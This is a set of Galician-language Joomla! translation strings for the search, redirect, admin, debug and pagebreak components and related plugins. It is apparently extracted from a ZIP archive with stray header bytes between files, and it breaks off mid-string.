COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL="Descrición OpenSeach" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESC="Descrición que amosará o sitio como provedor de buscas." COM_SEARCH_CONFIGURATION="Opcións de xestor de busca" COM_SEARCH_EXACT_PHRASE="Texto exacto" COM_SEARCH_FIELD_DESC="Palabra, palabras ou texto a buscar" COM_SEARCH_FIELD_LABEL="Termos de busca (opcional)" COM_SEARCH_FIELD_SEARCH_AREAS_DESC="Amosar casas de verificación das áreas de procura." COM_SEARCH_FIELD_SEARCH_AREAS_LABEL="Empregar áreas de busca" COM_SEARCH_FIELDSET_OPTIONAL_LABEL="Termo opcional de busca" COM_SEARCH_FOR_DESC="Tipo de busca" COM_SEARCH_FOR_LABEL="Buscar" COM_SEARCH_HEADING_PHRASE="Buscar expresión" COM_SEARCH_HEADING_RESULTS="Resultados" COM_SEARCH_HIDE_SEARCH_RESULTS="Agochar os resultados da busca" COM_SEARCH_LOGGING_DISABLED="Recollida de estatísticas desactivada" COM_SEARCH_LOGGING_ENABLED="Recollida de estatísticas activada" COM_SEARCH_MANAGER_SEARCHES="xestor de buscas: Análise do termo de busca" COM_SEARCH_MOST_POPULAR="Popularidade" COM_SEARCH_NEWEST_FIRST="O máis novo primeiro" COM_SEARCH_NO_RESULTS="Apagado" COM_SEARCH_OLDEST_FIRST="O máis antigo primeiro" COM_SEARCH_ORDERING_DESC="Define en que orde serán amosados os resultados" COM_SEARCH_ORDERING_LABEL="Orde dos resultados" COM_SEARCH_SAVED_SEARCH_OPTIONS="Opcións de gardado para as buscas" COM_SEARCH_SEARCH_IN_PHRASE="Buscar nas expresións." COM_SEARCH_SHOW_SEARCH_RESULTS="Amosar os resultados da busca" COM_SEARCH_XML_DESCRIPTION="Compoñente para funcións de busca" PK@y>\KPxx0language/gl-ES/gl-ES.mod_multilangstatus.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Estado de multiidioma" MOD_MULTILANGSTATUS_XML_DESCRIPTION="Este módulo amosa o estado dos parámetros multiidioma." PK@y>\`vv,language/gl-ES/gl-ES.mod_multilangstatus.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Estado de multiidioma" MOD_MULTILANGSTATUS_XML_DESCRIPTION="Este módulo amosa o estado dos parámetros multiidioma." PK@y>\~-/language/gl-ES/gl-ES.plg_finder_content.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTENT="Busca intelixente - Contido" PLG_FINDER_CONTENT_ERROR_ACTIVATING_PLUGIN="Non foi posíbel activar automaticamente o engadido \"_QQ_\"Busca intelixente - Contido\"_QQ_\"" PLG_FINDER_CONTENT_XML_DESCRIPTION="Este engadido indexa os artigos Joomla!" PK@y>\/%language/gl-ES/gl-ES.com_redirect.ininuW+A; @package Joomla.Administrator ; @subpackage com_redirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt" COM_REDIRECT="Reencamiñar" COM_REDIRECT_BUTTON_UPDATE_LINKS="Actualizar ligazóns" COM_REDIRECT_CONFIGURATION="Opcións do xestor de reencamiñamento" COM_REDIRECT_DETAILS="Detalles" COM_REDIRECT_DISABLE_LINK="Desactivar ligazón" COM_REDIRECT_EDIT_LINK="Modificar ligazón #%d" COM_REDIRECT_ENABLE_LINK="Activar ligazón" COM_REDIRECT_ERROR_DESTINATION_URL_REQUIRED="O reencamiñamento ten que ter un URL de destino" COM_REDIRECT_ERROR_DUPLICATE_OLD_URL="O enderezo URL fonte ten que ser único." COM_REDIRECT_ERROR_DUPLICATE_URLS="O enderezo URL de destino e orixe non poden ser o mesmo." COM_REDIRECT_ERROR_SOURCE_URL_REQUIRED="O reencamiñamento ten ten quer un enderezo URL" COM_REDIRECT_FIELD_COMMENT_DESC="As veces é de axuda describir os enderezos URL para xestionar o reencamiñamento máis adiante." COM_REDIRECT_FIELD_COMMENT_LABEL="Comentario" COM_REDIRECT_FIELD_CREATED_DATE_LABEL="Data de creación" COM_REDIRECT_FIELD_NEW_URL_DESC="Insira aquí o URL para onde será redirixido." COM_REDIRECT_FIELD_NEW_URL_LABEL="URL destino" COM_REDIRECT_FIELD_OLD_URL_DESC="Insira aquí o URL que quere redirixir." COM_REDIRECT_FIELD_OLD_URL_LABEL="URL orixe" COM_REDIRECT_FIELD_REFERRER_LABEL="Referencia da ligazón" COM_REDIRECT_FIELD_UPDATED_DATE_LABEL="Última data de actualización" COM_REDIRECT_HEADING_CREATED_DATE="Data de creación" COM_REDIRECT_HEADING_HITS="Accesos 404" COM_REDIRECT_HEADING_NEW_URL="Novo URL" COM_REDIRECT_HEADING_OLD_URL="URL expirado" COM_REDIRECT_HEADING_REFERRER="Páxina de referencia" COM_REDIRECT_HEADING_UPDATE_LINKS="Actualizar as ligazóns escollidas con este novo URL" COM_REDIRECT_MANAGER_LINK="Xestor de reencamiñamento: Ligazón" COM_REDIRECT_MANAGER_LINKS="Xestor de redireccións: Ligazóns" COM_REDIRECT_N_ITEMS_ARCHIVED="%d ligazóns arquivadas con éxito" COM_REDIRECT_N_ITEMS_ARCHIVED_1="Ligazón arquivada con éxito" COM_REDIRECT_N_ITEMS_DELETED="%d ligazóns eliminadas con éxito" COM_REDIRECT_N_ITEMS_DELETED_1="Ligazón eliminada con éxito" COM_REDIRECT_N_ITEMS_PUBLISHED="%d ligazóns activadas con éxito" COM_REDIRECT_N_ITEMS_PUBLISHED_1="Ligazón activada con éxito" COM_REDIRECT_N_ITEMS_TRASHED="%d ligazóns enviadas ao lixo con éxito" COM_REDIRECT_N_ITEMS_TRASHED_1="Ligazón enviada ao lixo con éxito" COM_REDIRECT_N_ITEMS_UNPUBLISHED="%d ligazóns desactivadas con éxito" COM_REDIRECT_N_ITEMS_UNPUBLISHED_1="Ligazón desactivada con éxito" COM_REDIRECT_N_LINKS_UPDATED="%d ligazóns actualizadas" COM_REDIRECT_N_LINKS_UPDATED_1="Unha ligazón foi actualizada" COM_REDIRECT_NEW_LINK="Nova ligazón" COM_REDIRECT_NO_ITEM_SELECTED="Ningunha ligazón escollida" COM_REDIRECT_OPTIONS="Opcións" COM_REDIRECT_PLUGIN_DISABLED="O engadido de reencamiñamento está desactivado. Actíveo no xestor de engadidos." COM_REDIRECT_PLUGIN_ENABLED="O engadido de reencamiñamento está activado." COM_REDIRECT_REDIRECTED_ON="Reencamiñado en: %s." COM_REDIRECT_SAVE_SUCCESS="Ligazón gardada con éxito" COM_REDIRECT_SEARCH_LINKS="Buscar nos campos da ligazón" COM_REDIRECT_XML_DESCRIPTION="Este compoñente xestiona o reencamiñamento de ligazóns" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\RR+language/gl-ES/gl-ES.com_categories.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CATEGORIES="Categorías" COM_CATEGORIES_XML_DESCRIPTION="Este compoñente xestiona as categorías" PK@y>\f)language/gl-ES/gl-ES.plg_system_debug.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_DEBUG_ERRORS="Erros" PLG_DEBUG_FIELD_ALLOWED_GROUPS_DESC="Restrinxe os usuarios que poden ver a información de depuración a aqueles que estean dentro dos grupos seleccionados. Se non selecciona ningún, a información de depuración será vista por todos." PLG_DEBUG_FIELD_ALLOWED_GROUPS_LABEL="Grupos permitidos" PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_DESC="Amosa unha lista de ficheiros de idioma que teñen erros segundo a especificación INI do Joomla!" PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_LABEL="Amosar erros ao analizar os ficheiros de idioma" PLG_DEBUG_FIELD_LANGUAGE_FILES_DESC="Amosar unha lista dos ficheiros de idioma INI que Joomla! tratou de cargar." PLG_DEBUG_FIELD_LANGUAGE_FILES_LABEL="Amosar os ficheiros de idioma" PLG_DEBUG_FIELD_LANGUAGE_STRING_DESC="Amosar unha lista das cadeas de idioma sen traducir." PLG_DEBUG_FIELD_LANGUAGE_STRING_LABEL="Amosar as cadeas de idioma" PLG_DEBUG_FIELD_LOG_DEPRECATED_DESC="Se se activa, a API considerada como obsoleta será rexistrada. Use só esta opción durante curtos períodos de tempo e con propósitos de reestruturación." PLG_DEBUG_FIELD_LOG_DEPRECATED_LABEL="Rexistrar API obsoleta" PLG_DEBUG_FIELD_MEMORY_DESC="Amosar o total de memoria usada para amosar a páxina." PLG_DEBUG_FIELD_MEMORY_LABEL="Amosar o uso da memoria" PLG_DEBUG_FIELD_PROFILING_DESC="Amosar o perfilado dos punto de paso." PLG_DEBUG_FIELD_PROFILING_LABEL="Amosar perfilado" PLG_DEBUG_FIELD_QUERIES_DESC="Amosa a lista de consultas executadas mentres se vai amosando a páxina." PLG_DEBUG_FIELD_QUERIES_LABEL="Amosar consultas" PLG_DEBUG_FIELD_QUERY_TYPES_DESC="Amosa unha lista de tipos de consulta única e o número de ocorrencias (elementos) na páxina actual. Isto pode ser útil para axudar a atopar consultas repetidas que son redundantes ou que poden agruparse dentro dunha consulta máis simple ou eficiente." PLG_DEBUG_FIELD_QUERY_TYPES_LABEL="Amosar os tipos de consulta" PLG_DEBUG_FIELD_STRIP_FIRST_DESC="En cadeas de múltiples palabras, sempre saca a primeira palabra." PLG_DEBUG_FIELD_STRIP_FIRST_LABEL="Sacar a primeira palabra" PLG_DEBUG_FIELD_STRIP_PREFIX_DESC="Sacar as palabras do comezo da cadea. Para múltiples palabras, use o formato: (palabra1|palabra2)" PLG_DEBUG_FIELD_STRIP_PREFIX_LABEL="Sacar do inicio" PLG_DEBUG_FIELD_STRIP_SUFFIX_DESC="Sacar as palabras do final da cadea. Para múltiples palabras, use o formato: (palabra1|palabra2)" PLG_DEBUG_FIELD_STRIP_SUFFIX_LABEL="Sacar do final" PLG_DEBUG_LANG_LOADED="Cargado" PLG_DEBUG_LANG_NOT_LOADED="Non cargado" PLG_DEBUG_LANGUAGE_FIELDSET_LABEL="Opcións de idioma" PLG_DEBUG_LANGUAGE_FILES_IN_ERROR="Erros analizados nos ficheiros de idioma" PLG_DEBUG_LANGUAGE_FILES_LOADED="Ficheiros de idioma cargados" PLG_DEBUG_LOGGING_FIELDSET_LABEL="Rexistro" PLG_DEBUG_MEMORY_USAGE="Uso de memoria" PLG_DEBUG_OTHER_QUERIES="OUTRAS táboas:" PLG_DEBUG_PROFILE_INFORMATION="Información do perfil" PLG_DEBUG_QUERIES="Consultas da base de datos" PLG_DEBUG_QUERIES_LOGGED="%d consultas rexistradas" PLG_DEBUG_QUERY_TYPES_LOGGED="%d tipos de pedidos rexistrados, ordenados por aparicións." PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES="%2$d × %1$s" PLG_DEBUG_SELECT_QUERIES="Táboas SELECT:" PLG_DEBUG_SESSION="Sesión" PLG_DEBUG_TITLE="Consola de depuración Joomla!" PLG_DEBUG_UNKNOWN_FILE="Ficheiro descoñecido" PLG_DEBUG_UNTRANSLATED_STRINGS="Cadeas sen traducir" PLG_DEBUG_XML_DESCRIPTION="Este engadido fornece diversa información do sistema así como asistencia para a creación de ficheiros de tradución." PLG_SYSTEM_DEBUG="Sistema - Depurar" PK@y>\F``"language/gl-ES/gl-ES.mod_title.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TITLE="Título" MOD_TITLE_XML_DESCRIPTION="Este módulo amosa o título do compoñente na barra de ferramentas." PK@y>\̲f(("language/gl-ES/gl-ES.com_admin.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIN="Administración - Informacións do sistema" COM_ADMIN_ALPHABETICAL_INDEX="Índice alfabético" COM_ADMIN_CACHE_DIRECTORY="(Cartafol da caché)" COM_ADMIN_CLEAR_RESULTS="Limpar resultados" COM_ADMIN_CONFIGURATION_FILE="Ficheiro de configuración" COM_ADMIN_DATABASE_COLLATION="Ordenación da base de dados" COM_ADMIN_DATABASE_VERSION="Versión da base de dados" COM_ADMIN_DIRECTORY="Cartafol" COM_ADMIN_DIRECTORY_PERMISSIONS="Permisos do cartafol" COM_ADMIN_DISABLED_FUNCTIONS="Funcións desactivadas" COM_ADMIN_DISPLAY_ERRORS="Amosar erros" COM_ADMIN_FILE_UPLOADS="Subir ficheiros" COM_ADMIN_GLOSSARY="Glosario" COM_ADMIN_GO="Ir" COM_ADMIN_HELP="Axuda Joomla!" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS="Xestor de carteis: Carteis" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS_EDIT="Xestor de carteis: Carteis - Novo/Modificar" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES="Xestor de carteis: Categorías" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES_EDIT="Xestor de carteis: Categorías - Nova/Modificar" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS="Xestor de carteis: Clientes" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Xestor de carteis: Clientes - Novo/Modificar" COM_ADMIN_HELP_COMPONENTS_BANNERS_TRACKS="Xestor de carteis: Seguimento" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS="Xestor de contactos: Contactos" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Xestor de contactos: Contactos - Novo/Modificar" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES="Xestor de contactos: Categorías" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES_EDIT="Xestor de contactos: Categorías - Nova/Modificar" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES="Xestor de artigos: Categorías" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES_EDIT="Xestor de artigos: Categorías - Nova/Modificar" COM_ADMIN_HELP_COMPONENTS_MESSAGING_INBOX="Mensaxes privadas: Caixa de entrada" COM_ADMIN_HELP_COMPONENTS_MESSAGING_READ="Mensaxes privadas: Ler" COM_ADMIN_HELP_COMPONENTS_MESSAGING_WRITE="Mensaxes privadas: Escribir" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES="Xestor de sementes: Categorías " COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES_EDIT="Xestor de sementes: Categorías - Nova/Modificar" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS="Xestor de sementes: Sementes" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="Xestor de sementes: Sementes - Nova/Modificar" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER="Xestor de redireccións: Ligazóns" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Xestor de redireccións: Ligazóns - Nova/Modificar" COM_ADMIN_HELP_COMPONENTS_SEARCH="Xestor de buscas" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES="Xestor de ligazóns web: Categorías" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES_EDIT="Xestor de ligazóns web: Categorías - Nova/Modificar" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS="Xestor de ligazóns web: Ligazóns web" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Xestor de ligazóns web: Ligazóns web - Nova/Modificar" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER="Xestor de artigos: Artigos" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER_EDIT="Xestor de artigos: Artigos - Novo/Modificar" COM_ADMIN_HELP_CONTENT_FEATURED_ARTICLES="Xestor de artigos: Artigos destacados" COM_ADMIN_HELP_CONTENT_MEDIA_MANAGER="Xestor multimedia" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Administrador de extensións: Descubrir" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Xestor de extensións: Instalar" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Xestor de extensións: Xestionar" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Xestor de extensións: Actualizar" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Xestor de extensións: Avisos" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Xestor de idiomas: Idiomas de contido" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Xestor de idiomas - Novo/Modificar" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Xestor de idiomas: Idiomas instalados" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER="Xestor de módulos" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER_EDIT="Xestor de módulos - Modificar" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER="Xestor de engadidos: Engadidos" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Xestor de engadidos: Engadidos - Novo/Modificar" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Xestor de temas: Estilos" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Xestor de temas: Estilos - Modificar" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Xestor de temas: Temas" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Xestor de temas: Temas - Modificar" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Template Manager: Source - Edit" COM_ADMIN_HELP_GLOSSARY="Glosario" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER="Xestor de elementos de menú" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER_EDIT="Xestor de elementos de menú - Novo/Modificar" COM_ADMIN_HELP_MENUS_MENU_MANAGER="Xestor de menús" COM_ADMIN_HELP_MENUS_MENU_MANAGER_EDIT="Xestor de menús - Novo/Modificar" COM_ADMIN_HELP_SITE_GLOBAL_CONFIGURATION="Configuración global" COM_ADMIN_HELP_SITE_MAINTENANCE_CLEAR_CACHE="Xestor da caché: Limpar a caché" COM_ADMIN_HELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Desbloqueo global" COM_ADMIN_HELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Xestor da caché: Purgar caché expirada" COM_ADMIN_HELP_SITE_SYSTEM_INFORMATION="Información do sistema" COM_ADMIN_HELP_START_HERE="Comezar aquí" COM_ADMIN_HELP_USERS_ACCESS_LEVELS="Xestor de usuarios: Niveis de acceso" COM_ADMIN_HELP_USERS_ACCESS_LEVELS_EDIT="Xestor de usuarios: Niveis de acceso - Novo/Modificar" COM_ADMIN_HELP_USERS_DEBUG_USER="Xestor de usuarios: Depurar permisos dos usuarios" COM_ADMIN_HELP_USERS_GROUPS="Xestor de usuarios: Grupos" COM_ADMIN_HELP_USERS_GROUPS_EDIT="Xestor de usuarios: Grupos - Novo/Modificar" COM_ADMIN_HELP_USERS_MASS_MAIL_USERS="Enviar correo masivo (aos usuarios)" COM_ADMIN_HELP_USERS_USER_MANAGER="Xestor de usuarios: Usuarios" COM_ADMIN_HELP_USERS_USER_MANAGER_EDIT="Xestor de usuarios: Usuarios - Novo/Modificar" COM_ADMIN_ICONV_AVAILABLE="Iconv dispoñíbel" COM_ADMIN_INFORMATION="Información do sistema" COM_ADMIN_JOOMLA_VERSION="Versión do Joomla!" COM_ADMIN_LATEST_VERSION_CHECK="Verificar se usa a versión máis recente." COM_ADMIN_LICENSE="Licenza" COM_ADMIN_LOG_DIRECTORY="(Cartafol do rexistro)" COM_ADMIN_MAGIC_QUOTES="Citacións máxicas" COM_ADMIN_MBSTRING_ENABLED="Mbstring activado" COM_ADMIN_NA="n/a" COM_ADMIN_OPEN_BASEDIR="Abrir o cartafol raíz" COM_ADMIN_OUTPUT_BUFFERING="Memoria temporal de saída" COM_ADMIN_PHP_BUILT_ON="Feito en PHP" COM_ADMIN_PHP_INFORMATION="Información da PHP" COM_ADMIN_PHP_SETTINGS="Configuracións da PHP" COM_ADMIN_PHP_VERSION="Versión da PHP" COM_ADMIN_PLATFORM_VERSION="Versión da plataforma Joomla!" COM_ADMIN_REGISTER_GLOBALS="Rexistros globais" COM_ADMIN_RELEVANT_PHP_SETTINGS="Configuracións relevantes da PHP" COM_ADMIN_SAFE_MODE="Modo de seguranza" COM_ADMIN_SEARCH="Buscar" COM_ADMIN_SESSION_AUTO_START="Inicio automático da sesión" COM_ADMIN_SESSION_SAVE_PATH="Ruta para gardar a sesión" COM_ADMIN_SETTING="Configuración" COM_ADMIN_SHORT_OPEN_TAGS="Etiquetas de abertura abreviadas" COM_ADMIN_START_HERE="Comezar aquí" COM_ADMIN_STATUS="Estado" COM_ADMIN_SYSTEM_INFO="System Info" COM_ADMIN_SYSTEM_INFORMATION="Información do sistema" COM_ADMIN_TEMP_DIRECTORY="(Cartafol temporal)" COM_ADMIN_UNWRITABLE="Non escribíbel" COM_ADMIN_USER_ACCOUNT_DETAILS="Detalles do meu perfil" COM_ADMIN_USER_AGENT="Navegador empregado" COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_DESC="Seleccione o idioma da interface de administración para este usuario." COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_LABEL="Idioma para a administración" COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_DESC="Seleccione o estilo do tema para a interfaz do panel de administración. Isto só terá efecto a este usuario." COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_LABEL="Estilo do tema do panel de administración" COM_ADMIN_USER_FIELD_EDITOR_DESC="Editor do usuario" COM_ADMIN_USER_FIELD_EDITOR_LABEL="Editor" COM_ADMIN_USER_FIELD_EMAIL_DESC="Insira un correo electrónico para este usuario" COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_DESC="Seleccione o idioma da interface da portada para este usuario." COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Idioma da portada" COM_ADMIN_USER_FIELD_HELPSITE_DESC="Sitio de axuda para este usuario" COM_ADMIN_USER_FIELD_HELPSITE_LABEL="Sitio de axuda" COM_ADMIN_USER_FIELD_LASTVISIT_DESC="Data da última visita" COM_ADMIN_USER_FIELD_LASTVISIT_LABEL="Data da última visita" COM_ADMIN_USER_FIELD_NAME_DESC="Insira o nome do usuario" COM_ADMIN_USER_FIELD_NOCHANGE_USERNAME_DESC="Se quere mudar o seu nome de usuario, contacte co administrador do sitio" COM_ADMIN_USER_FIELD_PASSWORD2_DESC="Confirme a clave do usuario" COM_ADMIN_USER_FIELD_PASSWORD2_LABEL="Confirme a clave" COM_ADMIN_USER_FIELD_PASSWORD_DESC="Insira a clave para o usuario" COM_ADMIN_USER_FIELD_REGISTERDATE_DESC="Data de rexistro" COM_ADMIN_USER_FIELD_REGISTERDATE_LABEL="Data de rexistro" COM_ADMIN_USER_FIELD_TIMEZONE_DESC="Fuso horario para este usuario" COM_ADMIN_USER_FIELD_TIMEZONE_LABEL="Fuso horario" COM_ADMIN_USER_FIELD_USERNAME_DESC="Insira o nome de usuario para o usuario." COM_ADMIN_USER_FIELD_USERNAME_LABEL="Nome de usuario" COM_ADMIN_USER_HEADING_NAME="Nome" COM_ADMIN_USER_SETTINGS_FIELDSET_LABEL="Configuración básica" COM_ADMIN_VALUE="Valor" COM_ADMIN_VIEW="Vista" COM_ADMIN_VIEW_PROFILE_TITLE="Meu perfil" COM_ADMIN_WEBSERVER_TO_PHP_INTERFACE="Interface WebServer para PHP" COM_ADMIN_WEB_SERVER="Servidor web" COM_ADMIN_WRITABLE="Escribíbel" COM_ADMIN_XML_DESCRIPTION="Compoñente de administración - Informacións do sistema" COM_ADMIN_XML_ENABLED="XML activado" COM_ADMIN_ZIP_ENABLED="Zip nativo activado" COM_ADMIN_ZLIB_ENABLED="Zlib activado" PK@y>\| ))ee0language/gl-ES/gl-ES.plg_search_contacts.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTACTS="Buscar - Contactos" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Activa a busca no compoñente de contactos" PK@y>\wLL0language/gl-ES/gl-ES.plg_search_weblinks.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_WEBLINKS="Buscar - Ligazóns web" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Ligazóns web" PK@y>\3e'language/gl-ES/gl-ES.plg_system_sef.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEF_XML_DESCRIPTION="Engade compatibilidade SEF ás ligazóns de documento. Opera directamente sobre o código HTML e non require unha etiqueta especial." PLG_SYSTEM_SEF="Sistema - SEF" PK@y>\O/  .language/gl-ES/gl-ES.plg_content_pagebreak.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGEBREAK="Contido - Quebra de páxina" PLG_CONTENT_PAGEBREAK_ALL_PAGES=" Todas as páxinas" PLG_CONTENT_PAGEBREAK_ARTICLE_INDEX="Índice do artigo" PLG_CONTENT_PAGEBREAK_NO_TITLE="Sen título" PLG_CONTENT_PAGEBREAK_PAGES="Páxinas" PLG_CONTENT_PAGEBREAK_PAGE_NUM="Páxina %s" PLG_CONTENT_PAGEBREAK_SHOW_ALL_DESC="Amosar o artigo completo." PLG_CONTENT_PAGEBREAK_SHOW_ALL_LABEL="Amosar todo" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT="Cabeceira personalizada para o índice de artigo" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT_DESC="Insira un texto personalizado para a cabeceira do índice do artigo. Se estivera baleiro usarase o predeterminado." PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_DESC="Amosar/Agochar a cabeceira do índice do artigo. A cabeceira amosase na parte superior da táboa de contidos." PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_LABEL="Cabeceira do índice do artigo" PLG_CONTENT_PAGEBREAK_SITE_TITLE_DESC="Título e atributos da cabeceira para o engadido que irán na etiqueta título do sitio" PLG_CONTENT_PAGEBREAK_SITE_TITLE_LABEL="Amosar o título do sitio" PLG_CONTENT_PAGEBREAK_SLIDERS="Deslizantes" PLG_CONTENT_PAGEBREAK_STYLE_DESC="Escoller se a presentación do artigo vai en páxinas separadas, lapelas ou controis deslizantes." PLG_CONTENT_PAGEBREAK_STYLE_LABEL="Estilo de presentación" PLG_CONTENT_PAGEBREAK_TABS="Lapelas" PLG_CONTENT_PAGEBREAK_TOC_DESC="Amosar unha táboa de contidos nos artigos con varias páxinas." PLG_CONTENT_PAGEBREAK_TOC_LABEL="Táboa de contidos" PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Permite a creación dun artigo paxinado con unha táboa de contidos opcional.

              Inserir quebra de páxina a traveso do uso do botón quebra de páxina atopado normalmente debaixo da caixa de texto do artigo. A posición da quebra de páxina no artigo amosarase no editor como unha simple liña horizontal.

              O texto amosado dependera das opcións escollidas e pode ser tanto o título, o texto alternativo (se é fornecido) ou números de páxina.

              O código HTML usado é:
              <hr class=\"_QQ_\"system-pagebreak\"_QQ_\" />
              <hr class=\"_QQ_\"system-pagebreak\"_QQ_\" title=\"_QQ_\"The page title\"_QQ_\" /> or
